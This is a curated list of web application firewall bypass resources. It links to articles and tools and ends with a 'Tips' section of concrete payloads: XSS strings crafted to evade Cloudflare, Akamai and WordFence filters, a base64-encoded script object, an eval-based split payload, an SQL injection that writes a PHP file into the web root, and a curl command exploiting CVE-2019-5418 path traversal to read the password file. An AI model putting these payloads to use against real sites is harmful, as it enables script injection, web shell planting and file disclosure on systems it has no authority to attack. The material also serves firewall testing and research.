Web Application Firewall Bypass
Article
JUMPING TO THE HELL WITH 10 ATTEMPTS TO BYPASS DEVIL’S WAF:
[Link]
How to bypass libinjection in many WAF/NGWAF [Link]
HOW TO BYPASS CLOUDFLARE WAF
[Link]
XXE that can Bypass WAF Protection – Wallarm [Link]
CVE-2019–5418: on WAF bypass and caching [Link]
Abusing unicode in NodeJS to bypass a WAF
[Link]
How To Exploit PHP Remotely To Bypass Filters & WAF Rules -
[Link]
WAF Evasion Techniques
Part 1 : [Link]
Part 2 : [Link]
Part 3 : [Link]
Bypassing WAFs with JSON Unicode Escape Sequences -
[Link]
Bypassing Web-Application Firewalls by abusing SSL/TLS
[Link]
Evil XML with two encodings [Link]
WAF Bypass Writeup = WAF Bypass at PHDays VII: Results and Answers -
[Link]
collected by @0midzamani
Tools
Analysing parameters with all payloads' bypass methods, aiming at
benchmarking security solutions like WAF.
[Link]
Bypass Cloudflare WAF to Pwned application – InfoSec Write-ups – Medium
- [Link]
CloudBunny - A Tool To Capture The Real IP Of The Server That Uses A
WAF As A Proxy Or Protection - [Link]
XIP - Tool To Generate A List Of IP Addresses By Applying A Set Of
Transformations Used To Bypass Security Measures E.G. Blacklist Filtering, WAF,
Etc. [Link]
Detect and bypass web application firewalls and protection systems
[Link]
WAFNinja is a tool which contains two functions to attack Web
Application Firewalls.
[Link]
WAFW00F allows one to identify and fingerprint Web Application Firewall
(WAF) products protecting a website.
[Link]
BypassWAF - Burp Plugin to Bypass Some WAF… [Link]
Raptor WAF - Web Applicaiton to Train Attacks to Bypass
[Link]
bypass_waf -
Automatic WAF bypass tool
[Link]
wafpass - WAF Security Benchmark
[Link]
Bypassing WAF by abusing SSL/TLS Ciphers
[Link]
Tips
WAF bypass of the day
<scronerror=ipt>prompt([Link])</scronerror=ipt>
WAF bypass tip, remove content-type header in http req, also recent
Imperva CVE.
Bypass a semi-popular web forum's WAF with this beaut (every character
is requried):
<style><img src="</style><img src=x "><object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
Nice example of payload splitting used by @ReeverZax to bypass a WAF.
onload=\"a='alert()';d='XSS ';b='t(d)';c=a+b;[Link](eval(c));
WordFence #WAF Bypass
Num Entity w/ Semicolon
<a href=javascript:alert(1)>
[Link]
%26%2399;ript:alert(1)%3E
Incapsula WAF SQLinj bypass & web shell upload:
' INTO OUTFILE '/var/www/html/[Link]' FIELDS TERMINATED BY '<?php
phpinfo();?>
Want to bypass WAF when exploiting CVE-2019-5418 ?
curl -H 'Accept: ../../../../../../e*c/p*s*d{{' [Link]
WAF BYPASSING javascript:"/*'/*`/*--><html \"
onmouseover=/*<svg/*/onload=alert()//>
javascript://comment%0a%0dalert(0);
XSS payload for Akamai WAF bypass "%3balert`1`%3b".
Updated CloudFlare bypass (bypasses virtually all WAF you'll encounter
in the wild):
<iframe/src='%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A:prompt`1`'>
Javascript URI cushioned between carriage returns with a non-bracketed
prompt.
List
A curated list of awesome web-application firewall (WAF) stuff.
[Link]
A comprehensive list of WAF security bypass research
[Link]
